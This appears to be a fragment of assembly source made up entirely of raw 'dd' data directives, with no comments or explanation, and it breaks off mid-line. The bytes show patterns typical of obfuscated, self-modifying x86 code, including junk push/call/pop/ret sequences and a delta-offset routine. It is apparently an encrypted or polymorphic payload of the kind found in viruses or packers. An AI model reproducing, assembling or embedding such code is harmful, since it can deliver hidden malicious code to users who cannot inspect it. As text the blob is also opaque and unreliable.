5DFE3F44h, 718D5B44h dd 0D9BBDD0h, 827FC900h, 85013F85h, 62219C5h, 56006A60h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 24788433h, 0D1878980h, 8C66ED00h, 56006AD9h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0E994EC37h dd 0E1803988h, 6E904h, 11150000h, 0EADD4553h, 840FC90Ah dd 11Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 5DC35545h, 4574CCEBh, 661B50A8h, 8BE4DCBBh, 2210B985h dd 7D953106h, 33062226h, 2208A585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0B7CB113Dh dd 160879C1h, 48950DAh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8BE33DB2h, 1006AF8h, 2234C195h dd 31296806h, 481BEC7h, 57D2D624h, 55006A41h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0CAF6717Bh dd 0FE1D84Ah, 383h, 0D88B6600h, 1E9195FFh, 6A0622h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0EFDCD6C3h, 805189A2h, 0BADAC4BFh, 0EB858970h, 6A0625CAh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 3837C355h, 34860686h, 1B4E9h, 59BD8B00h dd 8B062233h, 25CAE385h, 0D9D3106h, 0C7062222h, 1800h dd 0B6BB6600h, 819D095Ch, 8B062221h, 25CAE7B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0D35F3BFAh, 1CD0EAC8h, 29B59D8Bh, 0BD8B0622h, 6221B9Dh dd 0A65858Bh, 9D290622h, 62221F5h, 2215BD8Bh, 6890622h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h dd 0B9858B17h, 0F062210h, 483h, 0CDBF6600h, 44689D1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0AC35141h, 5F9C52Dh dd 0A0B182B3h, 0B99D8BCBh, 50062228h, 0C4BF6660h, 348961EAh dd 10E924h, 0F7540000h, 83A079E9h, 0B5D14238h, 9C65F51Fh dd 0B5FFD67Dh, 625CAE3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 43C35545h, 8D0F37BCh, 5, 3E2404BFh, 0DEE7685Fh dd 66606168h, 0CE8C28Bh, 0E9000000h, 0CF0F3969h, 4F152F0Bh dd 600C1983h, 81615F61h, 0DD182434h, 6A6177h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 6AE418C3h dd 503E8E45h, 29F31BD1h, 2230DDB5h, 0FD9D8B06h, 8D06220Eh dd 25CAEB85h, 68C0F06h, 8B000000h, 220A09BDh, 0FD8A9006h dd 90BFB750h, 185D8501h, 95FF0622h, 6221E91h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 33C35747h, 22ECE5CAh, 0D6518709h, 860F617Fh dd 12h, 0DE9h, 0CBDED900h, 9D9E585Ah, 0BDE20A1Ch, 35B7D465h dd 30E585C7h, 30622h, 0BD290000h, 6221B9Dh, 0CAEBBD83h dd 0F000625h, 2F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 313C52BBh, 2218A985h dd 21E906h, 0CB810000h, 7029BA2Bh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 633DC356h, 0F97FC63Bh, 6AA6E69Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9951C353h dd 198D294Ch, 83062210h, 2230E5BDh, 850F0306h, 3D2h, 1E9DBD33h dd 0BD830622h, 625CAEBh, 0BF840F00h, 0E9000003h, 8, 0BE431613h dd 0E82EC002h, 0FFD8BF0Fh, 25CAEBB5h, 85850906h, 0FF062214h dd 221DCD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0FF16577Dh, 0B70F0446h, 0DFB58BFAh dd 890625CAh, 2220F195h, 106C706h, 50000100h, 13E8h, 5B468C00h dd 0C19EB457h, 0C8F1B362h, 8AD53648h, 0E5FF8BF0h, 7E85250h dd 3000000h, 562A1CBDh, 0F5F5733h, 0F525031h, 5A585A31h dd 34895F58h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0C38166DEh, 0B5FF5ED9h, 625CAEBh dd 2299D8Bh, 95FF0622h, 6222541h, 13810Fh, 0EE90000h, 68000000h dd 47F5913Dh, 33810964h, 0EABA0008h, 0DFB58BAAh, 0F0625CAh dd 682h, 5DBD8B00h, 0E906220Fh, 14h, 1658A26Ch, 0B174682Ah dd 325BC362h, 0B69F8908h, 1A5BAB71h, 1B2D858Bh, 8D010622h dd 6223401h, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 221182C3h, 0F1958BFCh dd 6A062233h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 2969C353h, 221A498Dh, 4C28306h dd 2993BB60h, 8B604F4Eh, 222D1585h, 4FDA8106h, 61762072h dd 20508961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0C35747h, 1C658D01h, 0BD290622h, 62214D1h, 0DEBC858Dh dd 6A0625h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0D49B9EC3h, 1D6DE361h, 0B88689h, 0BD8B0000h dd 62228F1h, 6E9h, 0E7467000h, 6AC13EE1h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 37A9069h, 0CA40BBA5h, 0B5FF7572h, 625CAEBh, 829BD89h dd 95FF0622h, 6220285h, 0EE9h, 0EF43FD00h, 0E0838803h dd 80C74355h, 964DFB12h, 0F50FA8Bh, 0A8Dh, 5E900h, 7FF10000h dd 960A113Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 3DC35747h, 10BDB509h, 0B5FF0622h, 625CAEBh, 9E9h dd 2038900h, 0C5EAD713h, 95FF7CF0h, 6221AF5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C0C35646h, 0D98B0504h dd 1331BD83h, 0F000622h, 2684h, 11BF6600h, 8B6696D3h, 0EE850D9h dd 43000000h, 6E0E130Bh, 0D4DC7E6h, 0DA282172h, 5BD88BD6h dd 0C1958996h, 0FF062204h, 25CAEBB5h, 0FFFD8A06h, 221D4195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0B5FF89B6h, 625CAEBh, 3511BD89h, 95FF0622h dd 6222FC5h, 0BD83D98Ah, 62202A9h, 71840F02h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0EDF7C357h, 2D25E73Ah, 0E1858B66h, 6A062200h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 5B8FC351h, 0FCEC5FEEh, 0FE991h, 770E0000h dd 0A13EC1A2h, 604A628Eh, 0D3208B03h, 0C6BBh, 0BE9h, 0EB16AB00h dd 0F856E10Fh, 263C05E8h, 197D85C7h, 622h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0A4C3C5C3h, 9EFC431Ch, 80999119h, 5FE9A0CBh, 0FCFFFFF3h dd 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 7C13DC3h, 0A6960EEBh, 9D0B98D0h, 6220121h dd 2CB5858Dh, 95890622h, 6220F9Dh, 8E950h, 0A8370000h dd 0E1DF7B52h, 4898646h, 6AFC24h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 45C35343h, 0A12D6E57h, 0D38156A3h dd 162C5EB8h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 76BCC350h, 6F68EB99h dd 1F858DE1h, 6A0626C2h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8392C351h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 159A5EC3h, 866F578Ch, 6820Fh, 9D8B0000h, 6221659h, 895B5650h dd 0D88B2404h, 6A006Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 3BC35747h, 0BE833E13h, 95FF2742h, 6223555h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0AC35646h dd 0BE8h, 0ED0E1000h, 5ED3150Bh, 0C7544B8Fh, 5BF8B70Fh dd 0A90F8D8Dh, 12E90625h, 0A7000000h, 0FE8FCB49h, 9C22F12Dh dd 61A7ED0h, 7B3D7AA2h, 1D1FF30h, 22019D85h, 0F5BD8306h dd 1062200h, 9D850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 6A5080C3h, 51006A02h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 2C4EC847h, 58870A0Bh, 7CD4D781h, 0EB813E31h, 5FD935C0h dd 0BF665650h, 895F3537h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0C0AAA9C3h, 6652B746h dd 95FFDF8Bh, 6220285h, 0BD9D8Bh, 10E90622h, 9D000000h dd 9AE40827h, 71F3DB33h, 0AF645D5Eh, 0E96A9A85h, 0CDFh dd 0E8h, 0ED815D00h, 626C229h, 4DE78166h, 12E9E1h, 0AA080000h dd 0C1D43BB9h, 0C93FB78h, 0F56A74ABh, 0E9463AC2h, 9345858Dh dd 0BF660625h, 0DB804A2Eh, 516050FBh, 310F5250h, 575B585Ah dd 489615Ah, 91BD3124h, 6406220Ah, 35FFh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0C740D3C3h, 3606BB37h, 89647795h, 25h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 792B706h, 8B185FFh, 6A0622h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0B735C0C3h, 6AFF6A62h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 495AC352h dd 3BC6EFC0h, 985891Bh, 66062203h, 0E587CF81h, 0A85B5FFh dd 95FF0622h, 6221C35h, 114E9h, 9E900h, 0E9800000h, 2E012C2Ch dd 0B046B41Fh, 0F970E600h, 5BBF71E4h, 8172C2BDh, 7D9708D7h dd 0F613C76h, 0EC83h, 14E800h, 526C0000h, 0C7B63D17h, 0DAAA8B9Dh dd 44252CD0h, 24CAF063h, 11E9898Ah, 71000000h, 0A9A173C1h dd 7A09DDAh, 3AEB0300h, 811E12F5h, 0C8B60F5Bh, 0BAD98B66h dd 6, 256DBD8Bh, 0C18B0622h, 0F544E380h, 6004E8C1h, 89A6BE66h dd 70D9589h, 66610622h, 0C82BE2F7h, 0A81BD2Bh, 0D18B0622h dd 2E9h, 8BB2B300h, 22014585h, 71B53106h, 8306221Bh, 8B0F07C0h dd 0 dd 1EA59501h, 0C0830622h, 7820F00h, 51000000h, 0E6F38166h dd 0D03B5B2Dh, 0C830Fh, 0BD8B0000h, 6222C95h, 44E9h, 8D8BF500h dd 62207ADh, 80CBF66h, 0E8D9D89h, 0E1830622h, 2A840F01h dd 8B000000h, 221ECDBDh, 0ADA58306h, 0FE062207h, 5319531h dd 95890622h, 6220145h, 68D0Fh, 85090000h, 6220191h, 0E9h dd 0D2B58D00h, 6A062629h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 302FC357h, 6A006AEDh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0FA8CC351h, 97F0A6B6h, 89A6DA18h, 220ED1B5h dd 7595FF06h, 6A062230h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0B995C355h, 88Fh, 2855BD8Bh dd 0E1830622h, 8850FFCh, 0F000000h, 281h, 0FCDA8B00h, 56FABF0Fh dd 3219BD8Bh, 2B5B0622h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 1D511CF2h, 3F636154h dd 99E38166h, 45B58935h, 2B062200h, 81BD8BD2h, 0AD062231h dd 0E8D1C233h, 0E983D003h, 66F47504h, 9589FB8Bh, 6221A01h dd 7A3BFFBBh, 880D4Ah, 7E80000h, 0D4000000h, 19E3ADBEh dd 8B660FACh, 958B5BDEh, 62233F1h, 0B1BD8960h, 0F06221Dh dd 38Fh, 0D68B6600h, 318D8B61h, 6A06222Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A8EBC352h dd 0A26CEF46h, 6610EF80h, 592DE381h, 1F69BD89h, 8B500622h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BDC35242h, 0BE9E4h dd 226D0000h, 97D33C40h, 0F9D8F285h, 0E58D0192h, 0E9062228h dd 13h, 0F34D25C7h, 4C216EA3h, 65217918h, 10653100h, 83120477h dd 222C69BDh, 840F0006h, 83h, 29B5BD2Bh, 85890622h, 6222099h dd 0B8h, 0D19D2900h, 8D06221Ch, 2250B18Dh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 13EADD45h, 8589BDFFh, 6222849h, 13E9h, 3E12D500h, 1950B68Ch dd 2F0AC383h, 0C24AF45Ah, 0D97DB189h, 6AE1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0D68431C3h, 79BD8974h, 83062201h, 2230E5BDh, 840F0006h dd 420h, 0BD83DF8Bh, 62230E5h, 2C840F01h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 911C355h, 6BF19494h, 7D04F832h, 7E9h, 94055000h, 0A561BE40h dd 9E8h, 1EE8CB00h, 0C478A41Fh, 850FC346h, 4, 2391BF66h dd 0E5BD835Bh, 3062230h, 39F860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0F6D829C3h dd 16AE9993h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0E957894Eh, 10h, 0B77ADC93h, 56D60656h dd 0A28EE117h, 0B2F8B072h, 8C66F55Fh, 4E180D9h, 840FC90Ah dd 100h, 2870Fh, 0DE8B0000h, 10B9858Bh, 0BE80622h, 69000000h dd 36C9B988h, 1D5DE1A4h, 0BE95A08h, 0F9000000h, 3AC6D40h dd 0DD70CEF7h, 335B1EE7h, 2208A585h, 36EEBF06h, 50900158h dd 8C0F5160h, 0 dd 0F590615Bh, 6A3EE380h, 85036000h, 62209EDh, 5F59D8Bh dd 0E9610622h, 6, 0EE801345h, 0A468D9F6h, 81957868h, 9B5B2404h dd 6A6AA6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 84DA46C3h, 0D3816681h, 95FF0FD6h, 6221E91h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B4C35141h dd 9EE0E601h, 5EDD9155h, 25E19589h, 85890622h, 625CAEBh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 93C35141h dd 9D89D4A9h, 6221571h, 5870Fh, 0DCBF0000h, 0E91A66C2h dd 1D2h, 0CAE3858Bh, 6E80625h, 8C000000h, 44966C43h, 8B0F9Ah dd 5B000000h, 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 7E453C3h, 0D8F7BDD4h dd 0CAE7B58Bh, 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 597542C3h, 0F04BBB97h, 9D2927C2h dd 6220019h, 0A65858Bh, 0BD890622h, 6222AA9h, 0BD890689h dd 6222041h, 858BB0B3h, 62210B9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 6DC35141h, 0D1B81666h, 4689D833h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 316313EEh, 7E96D646h, 8B50CDB7h, 243489F8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E3C35040h dd 0BD8BBD78h, 62200E5h, 0C99D33h, 0BE80622h, 0ED000000h dd 10DA6AB3h, 1BA56B12h, 81660F67h, 5B9D0CCFh, 0CAE3B5FFh dd 0B70F0625h, 0ED8589FEh, 68062210h, 697EED0Ah, 0B9BB5250h dd 0F20681Dh, 55BF6631h, 81585A07h, 0EEF52434h, 6A6961h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0A45F76C3h, 8C0FDFB8h, 2, 858D5F51h, 625CAEBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 64C35242h, 0BF66467Eh dd 0B5899648h, 6221E2Dh, 6E990h, 0D6980000h, 0D5563420h dd 0D98A5250h, 0BD8B905Fh, 6222225h, 13E9h, 988C4800h dd 471AB9EBh, 186A7943h, 0BEC81737h, 562E4639h, 1E9195FFh dd 6A610622h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 601FC355h, 7E9CF8Bh, 5000000h dd 551EFE8Eh, 0E8611311h, 0Bh, 87E0C55Ah, 0C878688Eh, 5FFB4599h dd 30E585C7h, 30622h, 0BD890000h, 6220ECDh, 0CAEBBD83h dd 0F000625h, 0C84h, 4ABB6600h, 1EE9A6h, 0B70F0000h, 0C3050F8h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 52E38166h dd 0DBD89F7h, 83062222h, 2230E5BDh, 850F0306h, 3BCh, 30D5BD33h dd 0BD830622h, 625CAEBh, 0A9840F00h, 0BB000003h, 402FF553h dd 0CAEBB5FFh, 85890625h, 6220FD5h, 1DCD95FFh, 0BD2B0622h dd 6220855h, 96E78151h, 5B4CC288h, 0CADFB58Bh, 9D8B0625h dd 62214A5h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0FE4B09C3h, 0ACB8166h dd 0FABF0F0Dh, 0EA5ABF96h, 0B3501A3Dh, 6A961Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 1170B2C3h, 998D13E0h, 0DB58910h, 0FF062216h, 25CAEBB5h dd 0E59D2B06h, 0FF062234h, 22254195h, 8D9D0306h, 8B062220h dd 25CADFB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0F05F6275h, 858B7BF6h, 6221B2Dh dd 0E499D89h, 86890622h, 0C4h, 8BF98B66h, 2233F195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0C2834B59h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD3108D7h, 6221C95h dd 9F31EB81h, 50894037h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 786617E5h, 0DEBC858Dh dd 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0F76BB4C3h, 80C1CC46h, 8689A94Ch, 0B8h, 7971BB66h dd 6AF98Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 2CC35646h, 7BFFE136h, 1372970Ah, 0FCBF6607h, 0EBB5FFFCh dd 660625CAh, 95FFFB8Bh, 6220285h, 5096F8F5h, 8B665060h dd 966158FAh, 5BFE8A56h, 0CAEBB5FFh, 6A0625h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 275EFBC3h dd 5860FF3h, 0BF000000h, 372689C7h, 1AF595FFh, 6E80622h dd 57000000h, 810AB51Ah, 5FFE8AAEh, 1331BD83h, 0F000622h dd 3984h, 79858900h, 9606222Ch, 7E950h, 0DA820000h, 69F3D338h dd 6A9653h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0F6A04C3h, 184h, 0B5FFFC00h, 625CAEBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 99C35040h, 684AFAB8h dd 57056594h, 4195FF2Eh, 8B06221Dh, 0FE9D9h, 5AAB0000h dd 0BC4C05B8h, 0F9B2446Eh, 0D6CA0A14h, 0EBB5FF62h, 6A0625CAh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0A0C3C351h, 89CFFDEDh, 2FC595FFh, 6A0622h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0FF5C78C3h, 894BCB81h, 0F88B725Eh, 2A9BD83h, 0F020622h dd 9384h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0A1506E10h, 880F68h, 1000000h, 2228D1BDh dd 0E1858B06h, 6A062200h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0D3E7C357h, 0E9AF7510h dd 14h, 3627AB5Dh, 0E89D123Ah, 0A701D770h, 672CAAEDh, 0C944DB86h dd 6A0000C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 802DC351h, 0BD8BDF8Bh, 6221AEDh dd 197D85C7h, 622h, 0C7810000h, 28F95A2Ah, 0FFF434E9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0B5C47D2Ah, 0B2E37094h, 0B50105CEh, 622155Dh dd 4DD05EBFh, 6AC18B1Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 6B33C355h, 8D737084h dd 222CB585h, 11E906h, 29B0000h, 45C334BBh, 0D01E934Dh dd 5426B0A0h, 90672370h, 0FE853h, 0BC290000h, 0E2044755h dd 0DB44DDE7h, 0B983AF72h, 0EE8C2h, 95BC0000h, 7FE905EFh dd 0D36B60E2h, 8A9059D4h, 505F5B5Fh, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 296676D3h dd 11E9CB10h, 0E5000000h, 0DB29D36Eh, 9D4901A1h, 0BA900ADh dd 6950E671h, 6ADF8Bh, 26999D8Bh, 6A0622h dd 0C395BF66h, 0D107858Dh, 6E90626h, 0DB000000h, 0A7C8E699h dd 5C083FAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 41C35141h, 53906B2Fh, 34FA54BBh, 0BF505B21h, 5D16B274h dd 9840F90h, 60000000h, 8166F88Bh, 61E064E2h, 0BD8B006Ah dd 6221C45h, 0DF8B006Ah, 355595FFh, 81660622h, 60A0E4CFh dd 8E9h, 0C0C9CB00h, 15E4896Fh, 4DDE81B6h, 6143414Fh, 0A90F8D8Dh dd 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0F3014C3h, 686h, 259D8900h, 0FF062226h, 57006AD1h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 12A2EEB4h, 430E8ED5h, 9D091676h, 6222D85h, 0BD83FE8Ah dd 62200F5h, 8C850F01h, 8B000000h, 222961BDh, 60026A06h dd 6840Fh, 0BD310000h, 6223225h, 6E9h, 6F04B200h, 613C56CDh dd 66525090h, 0FFBD3BFh, 5E931h, 3930000h, 5ADBECCCh, 13E95058h dd 9D000000h, 2F8C8D0Ch, 0FF5C78CCh, 22E99E4Ch, 636F7A64h dd 569076ADh, 0FF5B68B7h, 22028595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0E53CF2E1h dd 0CFE33B2Eh, 850F7C9Fh, 3, 66AFF380h, 0E9C0BEBFh, 0DBFh dd 0E8h, 0ED815D00h, 626D111h, 6A5FB3h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 618B3C3h dd 80D4ACB0h, 8988E6D9h, 2208F9BDh, 0AE38006h, 9345858Dh dd 6A0625h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0C9C848C3h, 576A0E37h, 9D8B502Dh, 6222C79h dd 0DA8B6690h, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8993DFC3h, 220E4D8Dh, 35FF6406h dd 0 dd 1FB58D09h, 89640622h, 25h, 0CDBD8B00h, 0FF062221h, 2208B185h dd 35BD0906h, 6A062232h, 32DB81FFh, 0FF2A51A0h, 222ADDB5h dd 1D9D8B06h, 0FF062222h, 221C3595h, 11FE906h, 0BF660000h dd 0B09ADEh, 0CE9h, 0A9B64700h, 1B38D2D1h, 0FAD22B88h dd 70E6FCBCh, 53F8BF0Fh, 59BD8Bh, 0E45F0622h, 458D8971h dd 3C062202h, 0EA830F61h, 0F000000h, 383h, 0DA8B6600h dd 0FC8B60Fh, 687h, 0D1F78100h, 0BA42AC34h, 6, 138DBD89h dd 0C18B0622h, 89DEB70Fh, 22327D8Dh, 4E8C106h, 66FEB70Fh dd 5260E2F7h, 8E9h, 8A6B2900h, 0E0D1E736h, 958B5AD3h, 6222911h dd 31C82B61h, 2219519Dh, 0FD18B06h, 8Fh, 87E900h, 0BD8B0000h dd 6222615h, 2645BD8Bh, 858B0622h, 8, 3810Fh, 0F9520000h dd 7C0835Fh, 5F12B756h, 6600C083h, 3B841ABFh, 0F830FD0h dd 66000000h, 0E9FAE6BBh, 4Dh, 1B55B509h, 8D8B0622h, 0FFFFFFFFh dd 12719D33h, 0E1830622h, 32840F01h, 0E9000000h, 14h, 28DB2A7Bh dd 4E1176C4h, 0E2CD433Bh, 0A2640AD6h, 0A6A2FAE0h, 0FFFFA583h dd 66FEFFFFh, 0BF66D98Bh, 95896DBDh, 8, 0E9h, 0F7B58D00h dd 0F062649h, 282h, 6AFD8A00h, 0E58D0900h, 0FF062233h dd 22307595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0DD025D44h, 0C8B969B1h, 6A00000Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 49F7C355h, 78E6C7Bh, 8347B4AEh, 6AFCE1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 290A6DC3h, 164BFACh, 0F98B6C36h, 1D699D8Bh, 6AFC0622h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0BE88C356h, 0C3A988F9h, 0F9427C28h, 0B8h dd 14E800h, 0DE6F0000h, 7AE4E801h, 0D2F850EFh, 0BFFD9D19h dd 8AEC0D4Fh, 8166B961h, 5FC564D7h, 0BD89D22Bh, 6220A79h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C9C35242h, 0A86AE916h, 8917482Fh dd 2208AD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0E7C2303Eh, 0C880BBFDh, 880D096Fh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 287EC353h, 4961BA91h, 8BF88B3Dh dd 2233F195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0C41A24DAh, 0B19D8BD8h, 8B06220Eh dd 2232CDBDh, 38F0F06h, 66000000h, 8D8BDA8Bh, 6222D31h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 80C35040h dd 0D38166ECh, 0B5894088h, 62204B1h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 51006AF8h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 92FBC934h, 5C930BC3h, 2C69BD83h, 0F000622h, 8084h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0B881E5F1h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4DC35040h dd 15F54F97h, 8D1DB01Dh, 2250B18Dh, 31858906h, 0FF062231h dd 52006AE1h, 3E8h, 0C35A2000h, 2454895Ah, 